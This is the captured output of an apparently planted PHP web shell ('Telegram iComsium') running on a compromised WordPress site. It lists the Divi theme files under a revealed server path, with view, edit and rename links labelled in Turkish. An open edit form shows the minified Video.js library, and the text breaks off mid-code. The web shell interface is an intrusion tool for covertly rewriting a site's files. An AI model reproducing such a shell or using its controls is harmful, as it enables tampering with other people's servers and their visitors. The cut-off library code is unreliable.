<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: f0f48893625d4601c6807650b2bf80fd05ae7898</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">/**
 * @license
 * Video.js 7.17.0 &lt;http://videojs.com/&gt;
 * Copyright Brightcove, Inc. &lt;https://www.brightcove.com/&gt;
 * Available under Apache License Version 2.0
 * &lt;https://github.com/videojs/video.js/blob/main/LICENSE&gt;
 *
 * Includes vtt.js &lt;https://github.com/mozilla/vtt.js&gt;
 * Available under Apache License Version 2.0
 * &lt;https://github.com/mozilla/vtt.js/blob/main/LICENSE&gt;
 */
!function(global,factory){&quot;object&quot;==typeof exports&amp;&amp;&quot;undefined&quot;!=typeof module?module.exports=factory():&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;media_videojs/video-lazy&quot;,factory):(global=&quot;undefined&quot;!=typeof globalThis?globalThis:global||self).videojs=factory()}(window,(function(){for(var browserApi,hooks_={},hooks=function(type,fn){return hooks_[type]=hooks_[type]||[],fn&amp;&amp;(hooks_[type]=hooks_[type].concat(fn)),hooks_[type]},removeHook=function(type,fn){var index=hooks(type).indexOf(fn);return!(index&lt;=-1)&amp;&amp;(hooks_[type]=hooks_[type].slice(),hooks_[type].splice(index,1),!0)},FullscreenApi={prefixed:!0},apiMap=[[&quot;requestFullscreen&quot;,&quot;exitFullscreen&quot;,&quot;fullscreenElement&quot;,&quot;fullscreenEnabled&quot;,&quot;fullscreenchange&quot;,&quot;fullscreenerror&quot;,&quot;fullscreen&quot;],[&quot;webkitRequestFullscreen&quot;,&quot;webkitExitFullscreen&quot;,&quot;webkitFullscreenElement&quot;,&quot;webkitFullscreenEnabled&quot;,&quot;webkitfullscreenchange&quot;,&quot;webkitfullscreenerror&quot;,&quot;-webkit-full-screen&quot;],[&quot;mozRequestFullScreen&quot;,&quot;mozCancelFullScreen&quot;,&quot;mozFullScreenElement&quot;,&quot;mozFullScreenEnabled&quot;,&quot;mozfullscreenchange&quot;,&quot;mozfullscreenerror&quot;,&quot;-moz-full-screen&quot;],[&quot;msRequestFullscreen&quot;,&quot;msExitFullscreen&quot;,&quot;msFullscreenElement&quot;,&quot;msFullscreenEnabled&quot;,&quot;MSFullscreenChange&quot;,&quot;MSFullscreenError&quot;,&quot;-ms-fullscreen&quot;]],specApi=apiMap[0],i=0;i&lt;apiMap.length;i++)if(apiMap[i][1]in document){browserApi=apiMap[i];break}if(browserApi){for(var _i=0;_i&lt;browserApi.length;_i++)FullscreenApi[specApi[_i]]=browserApi[_i];FullscreenApi.prefixed=browserApi[0]!==specApi[0]}var history=[];var log$1=function createLogger$1(name){var logByType,level=&quot;info&quot;,log=function(){for(var _len=arguments.length,args=new Array(_len),_key=0;_key&lt;_len;_key++)args[_key]=arguments[_key];logByType(&quot;log&quot;,level,args)};return logByType=function(name,log){return function(type,level,args){var lvl=log.levels[level],lvlRegExp=new RegExp(&quot;^(&quot;+lvl+&quot;)$&quot;);if(&quot;log&quot;!==type&amp;&amp;args.unshift(type.toUpperCase()+&quot;:&quot;),args.unshift(name+&quot;:&quot;),history){history.push([].concat(args));var splice=history.length-1e3;history.splice(0,splice&gt;0?splice:0)}if(window.console){var fn=window.console[type];fn||&quot;debug&quot;!==type||(fn=window.console.info||window.console.log),fn&amp;&amp;lvl&amp;&amp;lvlRegExp.test(type)&amp;&amp;fn[Array.isArray(args)?&quot;apply&quot;:&quot;call&quot;](window.console,args)}}}(name,log),log.createLogger=function(subname){return createLogger$1(name+&quot;: &quot;+subname)},log.levels={all:&quot;debug|log|warn|error&quot;,off:&quot;&quot;,debug:&quot;debug|log|warn|error&quot;,info:&quot;log|warn|error&quot;,warn:&quot;warn|error&quot;,error:&quot;error&quot;,DEFAULT:level},log.level=function(lvl){if(&quot;string&quot;==typeof lvl){if(!log.levels.hasOwnProperty(lvl))throw new Error(&#039;&quot;&#039;+lvl+&#039;&quot; in not a valid log level&#039;);level=lvl}return level},(log.history=function(){return history?[].concat(history):[]}).filter=function(fname){return(history||[]).filter((function(historyItem){return new RegExp(&quot;.*&quot;+fname+&quot;.*&quot;).test(historyItem[0])}))},log.history.clear=function(){history&amp;&amp;(history.length=0)},log.history.disable=function(){null!==history&amp;&amp;(history.length=0,history=null)},log.history.enable=function(){null===history&amp;&amp;(history=[])},log.error=function(){for(var _len2=arguments.length,args=new Array(_len2),_key2=0;_key2&lt;_len2;_key2++)args[_key2]=arguments[_key2];return logByType(&quot;error&quot;,level,args)},log.warn=function(){for(var _len3=arguments.length,args=new Array(_len3),_key3=0;_key3&lt;_len3;_key3++)args[_key3]=arguments[_key3];return logByType(&quot;warn&quot;,level,args)},log.debug=function(){for(var _len4=arguments.length,args=new Array(_len4),_key4=0;_key4&lt;_len4;_key4++)args[_key4]=arguments[_key4];return logByType(&quot;debug&quot;,level,args)},log}(&quot;VIDEOJS&quot;),createLogger=log$1.createLogger,commonjsGlobal=&quot;undefined&quot;!=typeof globalThis?globalThis:&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof global?global:&quot;undefined&quot;!=typeof self?self:{};function createCommonjsModule(fn,module){return fn(module={exports:{}},module.exports),module.exports}var _extends_1=createCommonjsModule((function(module){function _extends(){return module.exports=_extends=Object.assign||function(target){for(var i=1;i&lt;arguments.length;i++){var source=arguments[i];for(var key in source)Object.prototype.hasOwnProperty.call(source,key)&amp;&amp;(target[key]=source[key])}return target},_extends.apply(this,arguments)}module.exports=_extends})),toString$1=Object.prototype.toString,keys=function(object){return isObject$1(object)?Object.keys(object):[]};function each(object,fn){keys(object).forEach((function(key){return fn(object[key],key)}))}function assign(target){for(var _len=arguments.length,sources=new Array(_len&gt;1?_len-1:0),_key=1;_key&lt;_len;_key++)sources[_key-1]=arguments[_key];return Object.assign?_extends_1.apply(void 0,[target].concat(sources)):(sources.forEach((function(source){source&amp;&amp;each(source,(function(value,key){target[key]=value}))})),target)}function isObject$1(value){return!!value&amp;&amp;&quot;object&quot;==typeof value}function isPlain(value){return isObject$1(value)&amp;&amp;&quot;[object Object]&quot;===toString$1.call(value)&amp;&amp;value.constructor===Object}function computedStyle(el,prop){if(!el||!prop)return&quot;&quot;;if(&quot;function&quot;==typeof window.getComputedStyle){var computedStyleValue;try{computedStyleValue=window.getComputedStyle(el)}catch(e){return&quot;&quot;}return computedStyleValue?computedStyleValue.getPropertyValue(prop)||computedStyleValue[prop]:&quot;&quot;}return&quot;&quot;}var match,USER_AGENT=window.navigator&amp;&amp;window.navigator.userAgent||&quot;&quot;,webkitVersionMap=/AppleWebKit\/([\d.]+)/i.exec(USER_AGENT),appleWebkitVersion=webkitVersionMap?parseFloat(webkitVersionMap.pop()):null,IS_IPOD=/iPod/i.test(USER_AGENT),IOS_VERSION=(match=USER_AGENT.match(/OS (\d+)_/i))&amp;&amp;match[1]?match[1]:null,IS_ANDROID=/Android/i.test(USER_AGENT),ANDROID_VERSION=function(){var match=USER_AGENT.match(/Android (\d+)(?:\.(\d+))?(?:\.(\d+))*/i);if(!match)return null;var 